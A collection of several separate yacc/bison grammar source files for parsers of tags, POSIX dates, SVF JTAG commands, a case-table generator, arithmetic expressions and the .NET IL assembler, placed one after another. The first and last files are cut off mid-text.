CHAR_CONST | STR_CONST | LPAREN expr RPAREN | type_constructor2 ; selector_list: /* empty */ | selector_list selector ; selector: DOT IDENT | UPARROW /* Removed from front of each of these. -DN */ /* Added break before lists. -DN */ | LBRACKET expr_list RBRACKET | LPAREN actual_list RPAREN | LPAREN RPAREN | LBRACE elem_list elem_tail RBRACE | LBRACE RBRACE ; expr_list: expr | expr_list COMMA expr ; actual_list: actual | actual_list COMMA actual ; actual: expr | type_constructor1 | IDENT ASSIGN expr ; /* the extra s & s match the expression hierarchy. yech! */ elem_list: elem | elem_list COMMA elem ; elem: expr | expr DOTDOT expr | expr ASSIGN expr ; elem_tail: /* empty */ | COMMA DOTDOT ; opt_id_list: /* empty */ | id_list ; id_list: IDENT | id_list COMMA IDENT ; %% yyerror(s) char *s; { fprintf(stderr, "line %d: %s\n", linecnt, s); } #include "hash.h" #include "lex.yy.c" #define MAXITEMS 8000 /* X.i3 has a lot of constants! */ int itemcnt, itemcharcnt; char *items[MAXITEMS]; setinput(fp) FILE *fp; { yyin = fp; } char qualifier[200]; recordQual(name) char *name; { strcpy(qualifier, name); } recordname(name, qual) char *name; { char buf[200]; recordname1(name); if (qual && qnames) { strcpy(buf, qualifier); strcat(buf, "."); strcat(buf, name); recordname1(buf); } } recordname1(name) char *name; { int ln; char buf[200]; if (oldstyle) { sprintf(buf, "%s\177%d,%d\n", linebuf, linecnt, charcnt); } else { sprintf(buf, "%s\177%s\177%d,%d\n", name, linebuf, linecnt, charcnt); } ln = strlen(buf); if (itemcnt >= MAXITEMS) { fprintf(stderr, "help: too many items\n"); exit(1); } items[itemcnt] = (char *)malloc(ln+1); if (items[itemcnt] == 0) { fprintf (stderr, "help: memory exhausted\n"); exit (1); } strcpy(items[itemcnt], buf); itemcnt++; itemcharcnt += ln; } printit(name) char *name; { int i; printf("\014\n%s,%d\n", name, itemcharcnt); for (i = 0; i < itemcnt; i++) { printf("%s", items[i]); } } initialize() { itemcnt = itemcharcnt = 0; linecnt = 1; charcnt = charperlinecnt = 0; }
<reponame>fengjixuchui/Family /* Parse dates for touch. Copyright (C) 1989, 1990, 1991 Free Software Foundation Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* Written by <NAME> and <NAME>. */ %{ #ifdef HAVE_CONFIG_H #include <config.h> #endif /* The following block of alloca-related preprocessor directives is here solely to allow compilation by non GNU-C compilers of the C parser produced from this file by old versions of bison. Newer versions of bison include a block similar to this one in bison.simple. */ #ifdef __GNUC__ #define alloca __builtin_alloca #else #ifdef HAVE_ALLOCA_H #include <alloca.h> #else #ifdef _AIX #pragma alloca #else void *alloca (); #endif #endif #endif #include <stdio.h> #include <sys/types.h> #ifdef TM_IN_SYS_TIME #include <sys/time.h> #else #include <time.h> #endif /* Some old versions of bison generate parsers that use bcopy. That loses on systems that don't provide the function, so we have to redefine it here. */ #if !defined (HAVE_BCOPY) && defined (HAVE_MEMCPY) && !defined (bcopy) #define bcopy(from, to, len) memcpy ((to), (from), (len)) #endif #define YYDEBUG 1 /* Lexical analyzer's current scan position in the input string. */ static char *curpos; /* The return value. */ static struct tm t; time_t mktime (); /* Remap normal yacc parser interface names (yyparse, yylex, yyerror, etc), as well as gratuitiously global symbol names, so we can have multiple yacc generated parsers in the same program. Note that these are only the variables produced by yacc. If other parser generators (bison, byacc, etc) produce additional global names that conflict at link time, then those parser generators need to be fixed instead of adding those names to this list. */ #define yymaxdepth pt_maxdepth #define yyparse pt_parse #define yylex pt_lex #define yyerror pt_error #define yylval pt_lval #define yychar pt_char #define yydebug pt_debug #define yypact pt_pact #define yyr1 pt_r1 #define yyr2 pt_r2 #define yydef pt_def #define yychk pt_chk #define yypgo pt_pgo #define yyact pt_act #define yyexca pt_exca #define yyerrflag pt_errflag #define yynerrs pt_nerrs #define yyps pt_ps #define yypv pt_pv #define yys pt_s #define yy_yys pt_yys #define yystate pt_state #define yytmp pt_tmp #define yyv pt_v #define yy_yyv pt_yyv #define yyval pt_val #define yylloc pt_lloc #define yyreds pt_reds /* With YYDEBUG defined */ #define yytoks pt_toks /* With YYDEBUG defined */ #define yylhs pt_yylhs #define yylen pt_yylen #define yydefred pt_yydefred #define yydgoto pt_yydgoto #define yysindex pt_yysindex #define yyrindex pt_yyrindex #define yygindex pt_yygindex #define yytable pt_yytable #define yycheck pt_yycheck static int yylex (); static int yyerror (); %} %token DIGIT %% date : digitpair /* month */ digitpair /* day */ digitpair /* hours */ digitpair /* minutes */ year seconds { if ($1 >= 1 && $1 <= 12) t.tm_mon = $1 - 1; else { YYABORT; } if ($2 >= 1 && $2 <= 31) t.tm_mday = $2; else { YYABORT; } if ($3 >= 0 && $3 <= 23) t.tm_hour = $3; else { YYABORT; } if ($4 >= 0 && $4 <= 59) t.tm_min = $4; else { YYABORT; } } year : digitpair { t.tm_year = $1; /* Deduce the century based on the year. See POSIX.2 section 4.63.3. */ if ($1 <= 68) t.tm_year += 100; } | digitpair digitpair { t.tm_year = $1 * 100 + $2; if (t.tm_year < 1900) { YYABORT; } else t.tm_year -= 1900; } | /* empty */ { time_t now; struct tm *tmp; /* Use current year. */ time (&now); tmp = localtime (&now); t.tm_year = tmp->tm_year; } ; seconds : /* empty */ { t.tm_sec = 0; } | '.' digitpair { if ($2 >= 0 && $2 <= 61) t.tm_sec = $2; else { YYABORT; } } ; digitpair : DIGIT DIGIT { $$ = $1 * 10 + $2; } ; %% static int yylex () { char ch = *curpos++; if (ch >= '0' && ch <= '9') { yylval = ch - '0'; return DIGIT; } else if (ch == '.' || ch == 0) return ch; else return '?'; /* Cause an error. */ } static int yyerror () { return 0; } /* Parse a POSIX-style date and return it, or (time_t)-1 for an error. */ time_t posixtime (s) char *s; { curpos = s; /* Let mktime decide whether it is daylight savings time. */ t.tm_isdst = -1; if (yyparse ()) return (time_t)-1; else return mktime (&t); } /* Parse a POSIX-style date and return it, or NULL for an error. */ struct tm * posixtm (s) char *s; { if (posixtime (s) == -1) return NULL; return &t; }
<gh_stars>0 /* * $Id: svf_bison.y 1455 2009-03-08 18:43:53Z arniml $ * * Copyright (C) 2002 by CSD at http://www-csd.ijs.si * Copyright (C) 2004, <NAME> * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Written by <NAME> <<EMAIL>>, 2004. * Original parser skeleton by <NAME> <<EMAIL>>, 2002. * */ %pure-parser %parse-param {parser_priv_t *priv_data} %parse-param {chain_t *chain} %name-prefix="svf" %locations %{ #include <stdio.h> #include <stdlib.h> #include "svf.h" /* interface to flex */ #include "svf_bison.h" #define YYLEX_PARAM priv_data->scanner int yylex (YYSTYPE *, YYLTYPE *, void *); #define YYERROR_VERBOSE void yyerror(YYLTYPE *, parser_priv_t *priv_data, chain_t *, const char *); static void svf_free_ths_params(struct ths_params *); %} %union { int token; double dvalue; char *cvalue; int ivalue; struct tdval tdval; struct tcval *tcval; } %token IDENTIFIER NUMBER HEXA_NUM VECTOR_STRING %token EMPTY %token ENDDR ENDIR %token FREQUENCY HZ %token STATE RESET IDLE %token TDI TDO MASK SMASK %token TRST ON OFF Z ABSENT %token HDR HIR SDR SIR TDR TIR %token PIO PIOMAP IN OUT INOUT H L U D X %token RUNTEST MAXIMUM SEC TCK SCK ENDSTATE %token IRPAUSE IRSHIFT IRUPDATE IRSELECT IREXIT1 IREXIT2 IRCAPTURE %token DRPAUSE DRSHIFT DRUPDATE DRSELECT DREXIT1 DREXIT2 DRCAPTURE %token SVF_EOF 0 /* SVF_EOF must match bison's token YYEOF */ %type <dvalue> NUMBER %type <tdval> runtest_clk_count %type <token> runtest_run_state_opt %type <token> runtest_end_state_opt %% line : /* empty */ | line svf_statement | error SVF_EOF /* Eat whole file in case of error. * This is necessary because the lexer will remember parts of the file * inside its input buffer. * In case errors do not driver the lexer to EOF then the next start * of yyparse() will read from this buffer, executing commands after the * previous error! */ ; svf_statement : ENDIR stable_state ';' { svf_endxr(priv_data, generic_ir, $<token>2); } | ENDDR stable_state ';' { svf_endxr(priv_data, generic_dr, $<token>2); } | FREQUENCY ';' { svf_frequency(chain, 0.0); } | FREQUENCY NUMBER HZ ';' { svf_frequency(chain, $2); } | HDR NUMBER ths_param_list ';' { struct ths_params *p = &(priv_data->parser_params.ths_params); p->number = $2; svf_hxr(generic_dr, p); svf_free_ths_params(p); } | HIR NUMBER ths_param_list ';' { struct ths_params *p = &(priv_data->parser_params.ths_params); p->number = $2; svf_hxr(generic_ir, p); svf_free_ths_params(p); } | PIOMAP '(' direction IDENTIFIER piomap_rec ')' ';' { printf("PIOMAP not implemented\n"); yyerror(&@$, priv_data, chain, "PIOMAP"); YYERROR; } | PIO VECTOR_STRING ';' { free($<cvalue>2); printf("PIO not implemented\n"); yyerror(&@$, priv_data, chain, "PIO"); YYERROR; } | RUNTEST runtest_run_state_opt runtest_clk_count runtest_time_opt runtest_end_state_opt ';' { struct runtest *rt = &(priv_data->parser_params.runtest); rt->run_state = $2; rt->run_count = $3.dvalue; rt->run_clk = $3.token; rt->end_state = $5; if (!svf_runtest(chain, priv_data, rt)) { yyerror(&@$, priv_data, chain, "RUNTEST"); YYERROR; } } | RUNTEST runtest_run_state_opt runtest_time runtest_end_state_opt ';' { struct runtest *rt = &(priv_data->parser_params.runtest); rt->run_state = $2; rt->run_count = 0; rt->run_clk = 0; rt->end_state = $4; if (!svf_runtest(chain, priv_data, rt)) { yyerror(&@$, priv_data, chain, "RUNTEST"); YYERROR; } } | SDR NUMBER ths_param_list ';' { struct ths_params *p = &(priv_data->parser_params.ths_params); int result; p->number = $2; result = svf_sxr(chain, priv_data, generic_dr, p, &@$); svf_free_ths_params(p); if (!result) { yyerror(&@$, priv_data, chain, "SDR"); YYERROR; } } | SIR NUMBER ths_param_list ';' { struct ths_params *p = &(priv_data->parser_params.ths_params); int result; p->number = $2; result = svf_sxr(chain, priv_data, generic_ir, p, &@$); svf_free_ths_params(p); if (!result) { yyerror(&@$, priv_data, chain, "SIR"); YYERROR; } } | STATE path_states stable_state ';' { if (!svf_state(chain, priv_data, &(priv_data->parser_params.path_states), $<token>3)) { yyerror(&@$, priv_data, chain, "STATE"); YYERROR; } } | TDR NUMBER ths_param_list ';' { struct ths_params *p = &(priv_data->parser_params.ths_params); int result; p->number = $2; result = svf_txr(generic_dr, p); svf_free_ths_params(p); if (!result) { yyerror(&@$, priv_data, chain, "TDR"); YYERROR; } } | TIR NUMBER ths_param_list ';' { struct ths_params *p = &(priv_data->parser_params.ths_params); int result; p->number = $2; result = svf_txr(generic_ir, p); svf_free_ths_params(p); if (!result) { yyerror(&@$, priv_data, chain, "TIR"); YYERROR; } } | TRST trst_mode ';' { if (!svf_trst(chain, priv_data, $<token>2)) { yyerror(&@$, priv_data, chain, "TRST"); YYERROR; } } ; ths_param_list : /* empty element */ | ths_param_list ths_opt_param ; ths_opt_param : TDI HEXA_NUM { priv_data->parser_params.ths_params.tdi = $<cvalue>2; } | TDO HEXA_NUM { priv_data->parser_params.ths_params.tdo = $<cvalue>2; } | MASK HEXA_NUM { priv_data->parser_params.ths_params.mask = $<cvalue>2; } | SMASK HEXA_NUM { priv_data->parser_params.ths_params.smask = $<cvalue>2; } ; stable_state : RESET | IDLE | DRPAUSE | IRPAUSE ; runtest_run_state_opt : { $$ = 0; } /* specify value for 'not existing' */ | stable_state { $$ = $<token>1; } ; runtest_clk_count : NUMBER TCK { $$.token = $<token>2; $$.dvalue = $<dvalue>1; } | NUMBER SCK { $$.token = $<token>2; $$.dvalue = $<dvalue>1; } ; runtest_time_opt : { priv_data->parser_params.runtest.min_time = 0.0; priv_data->parser_params.runtest.max_time = 0.0; } | runtest_time ; runtest_time : NUMBER SEC runtest_max_time_opt { priv_data->parser_params.runtest.min_time = $<dvalue>1; } ; runtest_max_time_opt : { priv_data->parser_params.runtest.max_time = 0.0; } | MAXIMUM NUMBER SEC { priv_data->parser_params.runtest.max_time = $<dvalue>2; } ; runtest_end_state_opt : { $$ = 0; } /* specify value for 'not existing' */ | ENDSTATE stable_state { $$ = $<token>2; } ; all_states : DRSELECT | DRCAPTURE | DRSHIFT | DREXIT1 | DREXIT2 | DRUPDATE | IRSELECT | IRCAPTURE | IRSHIFT | IREXIT1 | IREXIT2 | IRUPDATE | IRPAUSE | DRPAUSE | RESET | IDLE ; path_states : /* empty element, returns index 0 */ { priv_data->parser_params.path_states.num_states = 0; } | path_states all_states { struct path_states *ps = &(priv_data->parser_params.path_states); if (ps->num_states < MAX_PATH_STATES) { ps->states[ps->num_states] = $<token>2; ps->num_states++; } else printf("Error %s: maximum number of %d path states reached.\n", "svf", MAX_PATH_STATES); } ; piomap_rec : | piomap_rec direction IDENTIFIER ; trst_mode : ON | OFF | Z | ABSENT ; direction : IN | OUT | INOUT ; %% void yyerror(YYLTYPE *locp, parser_priv_t *priv_data, chain_t *chain, const char *error_string) { printf("Error occurred for SVF command %s.\n", error_string); } static void svf_free_ths_params(struct ths_params *params) { params->number = 0.0; if (params->tdi) { free(params->tdi); params->tdi = NULL; } if (params->tdo) { free(params->tdo); params->tdo = NULL; } if (params->mask) { free(params->mask); params->mask = NULL; } if (params->smask) { free(params->smask); params->smask = NULL; } } int svf_bison_init(parser_priv_t *priv_data, FILE *f, int num_lines, int print_progress) { const struct svf_parser_params params = { {0.0, NULL, NULL, NULL, NULL}, {{}, 0}, {0, 0.0, 0, 0, 0, 0} }; priv_data->parser_params = params; if ((priv_data->scanner = svf_flex_init(f, num_lines, print_progress)) == NULL) return 0; else return 1; } void svf_bison_deinit(parser_priv_t *priv_data) { svf_flex_deinit(priv_data->scanner); }
/* SCCSWHAT( "@(#)grammar.y 1.4 89/05/09 21:22:03 " ) */ /*****************************************************************************/ /** Microsoft LAN Manager **/ /** Copyright(c) Microsoft Corp., 1987-1990 **/ /*****************************************************************************/ %{ /**************************************************************************** *** local defines ***************************************************************************/ #define pascal #define FARDATA #define NEARDATA #define FARCODE #define NEARCODE #define NEARSWAP #define PASCAL pascal #define CDECL #define VOID void #define CONST const #define GLOBAL #define YYSTYPE lextype_t #define YYNEAR NEARCODE #define YYPASCAL PASCAL #define YYPRINT printf #define YYSTATIC static #define YYLEX yylex #define YYPARSER yyparse #define MAXARRAY 1000 #define CASE_BUFFER_SIZE 10000 #define CASE_FN_FORMAT ("\nstatic void\ncase_fn_%.4d()") #define DISPATCH_ENTRY_FORMAT ("\n\t,case_fn_%.4d") #define DISPATCH_FIRST_ENTRY ("\n\t case_fn_%.4d") /**************************************************************************** *** include files ***************************************************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <assert.h> #include "lex.h" /**************************************************************************** *** externals ***************************************************************************/ extern int Incase; extern int ActionSensed; extern int yylex(); extern int yyparse(); /**************************************************************************** *** local procs ***************************************************************************/ void Init( void ); void EmitCaseTableArray( void ); void EmitDefaultCase( void ); void EmitCaseBody( int ); void RegisterCase( int ); void BufferIt( char * pStr, int iLen ); void ResetBuffer(); void FlushBuffer(); /**************************************************************************** *** local data ***************************************************************************/ unsigned long SavedIDCount = 0; unsigned long IDCount = 0; unsigned char CaseTable[ MAXARRAY ] = { 0 }; int CaseNumber = 0; int MaxCaseNumber = 0; char * pBufStart; char * pBufCur; char * pBufEnd; %} %token ID %token NUMBER %token TOKEN_CASE %token TOKEN_CHAR %token TOKEN_END %token TOKEN_END_CASE %token TOKEN_MYACT %token TOKEN_START %type <yynumber> NUMBER %type <yycharval> TOKEN_CHAR %type <yystring> ID %% Template: OptionalJunk TOKEN_START { Init(); } OptionalJunk Body OptionalJunk TOKEN_END OptionalJunk { EmitDefaultCase(); EmitCaseTableArray(); } ; Body: TOKEN_MYACT { ActionSensed++; ResetBuffer(); } OptionalJunk CaseList { } ; CaseList: CaseList OneCase { } | OneCase { } ; OneCase: TOKEN_CASE TOKEN_CHAR NUMBER TOKEN_CHAR { Incase = 1; CaseNumber = $3; if($3 >= MAXARRAY) { fprintf(stderr, "Case Limit Reached : Contact Dov/Vibhas\n"); return 1; } SavedIDCount = IDCount; } OptionalJunk TOKEN_END_CASE { if(SavedIDCount != IDCount) { RegisterCase( CaseNumber ); EmitCaseBody( CaseNumber ); } ResetBuffer(); if(CaseNumber > MaxCaseNumber) MaxCaseNumber = CaseNumber; Incase = 0; } ; OptionalJunk: Junk { } | /* Empty */ { } ; Junk: Junk JunkElement { } | JunkElement { } ; JunkElement: TOKEN_CHAR { if(!ActionSensed) fprintf(stdout, "%c", $1); else BufferIt( &$1, 1); } | ID { IDCount++; if(!ActionSensed) fprintf(stdout, "%s", $1); else BufferIt( $1, strlen($1) ); } | NUMBER { if(!ActionSensed) fprintf(stdout, "%d", $1); else { char buffer[20]; sprintf(buffer,"%d", $1 ); BufferIt( buffer, strlen(buffer) ); } } ; %% /***************************************************************************** * utility functions *****************************************************************************/ YYSTATIC VOID FARCODE PASCAL yyerror(char *szError) { extern int Line; extern char LocalBuffer[]; fprintf(stderr, "%s at Line %d near %s\n", szError, Line, LocalBuffer); } void Init() { pBufStart = pBufCur = malloc( CASE_BUFFER_SIZE ); if( !pBufStart ) { fprintf(stderr,"Out Of Memory\n"); exit(1); } pBufEnd = pBufStart + CASE_BUFFER_SIZE; } void BufferIt( char * pStr, int iLen ) { if( pBufCur + iLen > pBufEnd ) { printf("ALERT iLen = %d\n", iLen ); // assert( (pBufCur + iLen) <= pBufEnd ); exit(1); } strncpy( pBufCur , pStr, iLen ); pBufCur += iLen; *pBufCur = '\0'; } void ResetBuffer() { pBufCur = pBufStart; *pBufCur= '\0'; } void FlushBuffer() { fprintf(stdout, "%s", pBufStart); ResetBuffer(); } void EmitCaseBody( int CaseNumber ) { fprintf( stdout, CASE_FN_FORMAT, CaseNumber ); FlushBuffer(); fprintf( stdout, "}\n" ); } void EmitCaseTableArray() { int i, iTemp; fprintf( stdout, "static void\t (*case_fn_array[])() = \n\t{" ); fprintf( stdout,DISPATCH_FIRST_ENTRY, 0 ); for( i = 1 ; i <= MaxCaseNumber ; ++i ) { iTemp = CaseTable[ i ] ? i : 0; fprintf(stdout,DISPATCH_ENTRY_FORMAT, iTemp ); } fprintf( stdout, "\n\t};\n" ); fprintf( stdout, "\nstatic void\nyy_vc_init(){ pcase_fn_array = case_fn_array;\nyym_vc_max = %d;\n }\n" , MaxCaseNumber); } void EmitDefaultCase() { fprintf(stdout, "static void\ncase_fn_%.4d() {\n\t}\n\n", 0 ); } void RegisterCase( int iCase ) { CaseTable[ iCase ] = 1; }
%{ #include<ctype.h> #include<stdio.h> #define YYSTYPE double %} %token NUM %left '+' '-' %left '*' '/' %% line:expr {printf("%lf\n",$1);} |line'\n' {} ; expr:expr'+'expr {$$=$1+$3;printf("E->E+E\n");} |expr'-'expr {$$=$1-$3;printf("E->E-E\n");} |temp {$$=$1;printf("E->T\n");} ; temp:temp'*'fact {$$=$1*$3;printf("T->T*F\n");} |temp'/'fact {$$=$1/$3;printf("T->T/F\n");} |fact {$$=$1;printf("E->F\n");} ; fact:'('expr')' {$$=$2;printf("T->(E)\n");} |NUM {$$=$1;printf("T->NUM\n");} ; %% int main(int argc,char *argv[]) { /*check the input*/ if(argc!=2){ printf("error usage\n"); printf("right usage: program_name input_file_name \n"); return 0; } /* skip over program name */ ++argv, --argc; /*input redirection*/ if(freopen(argv[0],"r",stdin)==NULL){ printf("error:open input_file failed\n"); return 0; } //start printf("start\n"); yyparse(); fclose(stdin); } int yylex() { int c; if((c=getchar())!=EOF) { if(c=='.'||isdigit(c)){ //read num ungetc(c,stdin); scanf("%lf",&yylval); return NUM; } } return c; } void yyerror(char *s){ printf("%s\n",s); }
%{ // ==++== // // Copyright (c) Microsoft Corporation. All rights reserved. // // ==--== #include <asmparse.h> #include <crtdbg.h> // FOR ASSERTE #include <string.h> // for strcmp #include <mbstring.h> // for _mbsinc #include <ctype.h> // for isspace #include <stdlib.h> // for strtoul #include "openum.h" // for CEE_* #include <stdarg.h> // for vararg macros #define YYMAXDEPTH 65535 // #define DEBUG_PARSING #ifdef DEBUG_PARSING bool parseDBFlag = true; #define dbprintf(x) if (parseDBFlag) printf x #define YYDEBUG 1 #else #define dbprintf(x) #endif #define FAIL_UNLESS(cond, msg) if (!(cond)) { parser->success = false; parser->error msg; } static AsmParse* parser = 0; #define PASM (parser->assem) #define PASMM (parser->assem->m_pManifest) static char* newStringWDel(char* str1, char* str2, char* str3 = 0); static char* newString(char* str1); void corEmitInt(BinStr* buff, unsigned data); bool bParsingByteArray = FALSE; bool bExternSource = FALSE; int nExtLine,nExtCol; int iOpcodeLen = 0; ARG_NAME_LIST *palDummy; int nTemp=0; unsigned int g_uCodePage = CP_ACP; extern DWORD g_dwSubsystem,g_dwComImageFlags,g_dwFileAlignment; extern size_t g_stBaseAddress; unsigned int uMethodBeginLine,uMethodBeginColumn; extern BOOL g_bOnUnicode; %} %union { CorRegTypeAttr classAttr; CorMethodAttr methAttr; CorFieldAttr fieldAttr; CorMethodImpl implAttr; CorEventAttr eventAttr; CorPropertyAttr propAttr; CorPinvokeMap pinvAttr; CorDeclSecurity secAct; CorFileFlags fileAttr; CorAssemblyFlags asmAttr; CorTypeAttr comtAttr; CorManifestResourceFlags manresAttr; double* float64; __int64* int64; __int32 int32; char* string; BinStr* binstr; Labels* labels; Instr* instr; // instruction opcode NVPair* pair; }; /* These are returned by the LEXER and have values */ %token ERROR_ BAD_COMMENT_ BAD_LITERAL_ /* bad strings, */ %token <string> ID /* testing343 */ %token <string> DOTTEDNAME /* System.Object */ %token <binstr> QSTRING /* "Hello World\n" */ %token <string> SQSTRING /* 'Hello World\n' */ %token <int32> INT32 /* 3425 0x34FA 0352 */ %token <int64> INT64 /* 342534523534534 0x34FA434644554 */ %token <float64> FLOAT64 /* -334234 24E-34 */ %token <int32> HEXBYTE /* 05 1A FA */ /* multi-character punctuation */ %token DCOLON /* :: */ %token ELIPSES /* ... */ /* Keywords Note the undersores are to avoid collisions as these are common names */ %token VOID_ BOOL_ CHAR_ UNSIGNED_ INT_ INT8_ INT16_ INT32_ INT64_ FLOAT_ FLOAT32_ FLOAT64_ BYTEARRAY_ %token OBJECT_ STRING_ NULLREF_ /* misc keywords */ %token DEFAULT_ CDECL_ VARARG_ STDCALL_ THISCALL_ FASTCALL_ CONST_ CLASS_ %token TYPEDREF_ UNMANAGED_ NOT_IN_GC_HEAP_ FINALLY_ HANDLER_ CATCH_ FILTER_ FAULT_ %token EXTENDS_ IMPLEMENTS_ TO_ AT_ TLS_ TRUE_ FALSE_ /* class, method, field attributes */ %token VALUE_ VALUETYPE_ NATIVE_ INSTANCE_ SPECIALNAME_ %token STATIC_ PUBLIC_ PRIVATE_ FAMILY_ FINAL_ SYNCHRONIZED_ INTERFACE_ SEALED_ NESTED_ %token ABSTRACT_ AUTO_ SEQUENTIAL_ EXPLICIT_ WRAPPER_ ANSI_ UNICODE_ AUTOCHAR_ IMPORT_ ENUM_ %token VIRTUAL_ NOTREMOTABLE_ SPECIAL_ NOINLINING_ UNMANAGEDEXP_ BEFOREFIELDINIT_ %Token STRICT_ RETARGETABLE_ %token METHOD_ FIELD_ PINNED_ MODREQ_ MODOPT_ SERIALIZABLE_ %token ASSEMBLY_ FAMANDASSEM_ FAMORASSEM_ PRIVATESCOPE_ HIDEBYSIG_ NEWSLOT_ RTSPECIALNAME_ PINVOKEIMPL_ %token _CTOR _CCTOR LITERAL_ NOTSERIALIZED_ INITONLY_ REQSECOBJ_ /* method implementation attributes: NATIVE_ and UNMANAGED_ listed above */ %token CIL_ OPTIL_ MANAGED_ FORWARDREF_ PRESERVESIG_ RUNTIME_ INTERNALCALL_ /* PInvoke-specific keywords */ %token _IMPORT NOMANGLE_ LASTERR_ WINAPI_ AS_ BESTFIT_ ON_ OFF_ CHARMAPERROR_ /* intruction tokens (actually instruction groupings) */ %token <instr> INSTR_NONE INSTR_VAR INSTR_I INSTR_I8 INSTR_R INSTR_BRTARGET INSTR_METHOD INSTR_FIELD %token <instr> INSTR_TYPE INSTR_STRING INSTR_SIG INSTR_RVA INSTR_TOK %token <instr> INSTR_SWITCH INSTR_PHI /* assember directives */ %token _CLASS _NAMESPACE _METHOD _FIELD _DATA %token _EMITBYTE _TRY _MAXSTACK _LOCALS _ENTRYPOINT _ZEROINIT _PDIRECT %token _EVENT _ADDON _REMOVEON _FIRE _OTHER PROTECTED_ %token _PROPERTY _SET _GET DEFAULT_ READONLY_ %token _PERMISSION _PERMISSIONSET /* security actions */ %token REQUEST_ DEMAND_ ASSERT_ DENY_ PERMITONLY_ LINKCHECK_ INHERITCHECK_ %token REQMIN_ REQOPT_ REQREFUSE_ PREJITGRANT_ PREJITDENY_ NONCASDEMAND_ %token NONCASLINKDEMAND_ NONCASINHERITANCE_ /* extern debug info specifier (to be used by precompilers only) */ %token _LINE P_LINE _LANGUAGE /* custom value specifier */ %token _CUSTOM /* local vars zeroinit specifier */ %token INIT_ /* class layout */ %token _SIZE _PACK %token _VTABLE _VTFIXUP FROMUNMANAGED_ CALLMOSTDERIVED_ _VTENTRY RETAINAPPDOMAIN_ /* manifest */ %token _FILE NOMETADATA_ _HASH _ASSEMBLY _PUBLICKEY _PUBLICKEYTOKEN ALGORITHM_ _VER _LOCALE EXTERN_ %token _MRESOURCE _LOCALIZED IMPLICITCOM_ IMPLICITRES_ NOAPPDOMAIN_ NOPROCESS_ NOMACHINE_ %token _MODULE _EXPORT /* field marshaling */ %token MARSHAL_ CUSTOM_ SYSSTRING_ FIXED_ VARIANT_ CURRENCY_ SYSCHAR_ DECIMAL_ DATE_ BSTR_ TBSTR_ LPSTR_ %token LPWSTR_ LPTSTR_ OBJECTREF_ IUNKNOWN_ IDISPATCH_ STRUCT_ SAFEARRAY_ BYVALSTR_ LPVOID_ ANY_ ARRAY_ LPSTRUCT_ /* parameter attributes */ %token IN_ OUT_ OPT_ LCID_ RETVAL_ _PARAM /* method implementations */ %token _OVERRIDE WITH_ /* variant type specifics */ %token NULL_ ERROR_ HRESULT_ CARRAY_ USERDEFINED_ RECORD_ FILETIME_ BLOB_ STREAM_ STORAGE_ %token STREAMED_OBJECT_ STORED_OBJECT_ BLOB_OBJECT_ CF_ CLSID_ VECTOR_ /* header flags */ %token _SUBSYSTEM _CORFLAGS ALIGNMENT_ _IMAGEBASE /* nonTerminals */ %type <string> name1 id className methodName atOpt slashedName %type <labels> labels %type <int32> callConv callKind int32 customHead customHeadWithOwner customType ownerType memberRef vtfixupAttr paramAttr ddItemCount variantType repeatOpt truefalse %type <float64> float64 %type <int64> int64 %type <binstr> sigArgs0 sigArgs1 sigArg type bound bounds1 int16s typeSpec bytes hexbytes fieldInit nativeType initOpt compQstring caValue %type <classAttr> classAttr %type <methAttr> methAttr %type <fieldAttr> fieldAttr %type <implAttr> implAttr %type <eventAttr> eventAttr %type <propAttr> propAttr %type <pinvAttr> pinvAttr %type <pair> nameValPairs nameValPair %type <secAct> secAction %type <secAct> psetHead %type <fileAttr> fileAttr %type <fileAttr> fileEntry %type <asmAttr> asmAttr %type <comtAttr> comtAttr %type <manresAttr> manresAttr %type <instr> instr_r_head instr_tok_head %start decls /**************************************************************************/ %% decls : /* EMPTY */ | decls decl ; decl : classHead '{' classDecls '}' { PASM->EndClass(); } | nameSpaceHead '{' decls '}' { PASM->EndNameSpace(); } | methodHead methodDecls '}' { if(PASM->m_pCurMethod->m_ulLines[1] ==0) { PASM->m_pCurMethod->m_ulLines[1] = PASM->m_ulCurLine; PASM->m_pCurMethod->m_ulColumns[1]=PASM->m_ulCurColumn;} PASM->EndMethod(); } | fieldDecl | dataDecl | vtableDecl | vtfixupDecl | extSourceSpec | fileDecl | assemblyHead '{' assemblyDecls '}' { PASMM->EndAssembly(); } | assemblyRefHead '{' assemblyRefDecls '}' { PASMM->EndAssembly(); } | comtypeHead '{' comtypeDecls '}' { PASMM->EndComType(); } | manifestResHead '{' manifestResDecls '}' { PASMM->EndManifestRes(); } | moduleHead | secDecl | customAttrDecl | _SUBSYSTEM int32 { if(!g_dwSubsystem) PASM->m_dwSubsystem = $2; } | _CORFLAGS int32 { if(!g_dwComImageFlags) PASM->m_dwComImageFlags = $2; } | _FILE ALIGNMENT_ int32 { if(!g_dwFileAlignment) PASM->m_dwFileAlignment = $3; } | _IMAGEBASE int64 { if(!g_stBaseAddress) PASM->m_stBaseAddress = (size_t)(*($2)); delete $2; } | languageDecl ; compQstring : QSTRING { $$ = $1; } | compQstring '+' QSTRING { $$ = $1; $$->append($3); delete $3; } ; languageDecl : _LANGUAGE SQSTRING { LPCSTRToGuid($2,&(PASM->m_guidLang)); } | _LANGUAGE SQSTRING ',' SQSTRING { LPCSTRToGuid($2,&(PASM->m_guidLang)); LPCSTRToGuid($4,&(PASM->m_guidLangVendor));} | _LANGUAGE SQSTRING ',' SQSTRING ',' SQSTRING { LPCSTRToGuid($2,&(PASM->m_guidLang)); LPCSTRToGuid($4,&(PASM->m_guidLangVendor)); LPCSTRToGuid($4,&(PASM->m_guidDoc));} ; customAttrDecl : _CUSTOM customType { 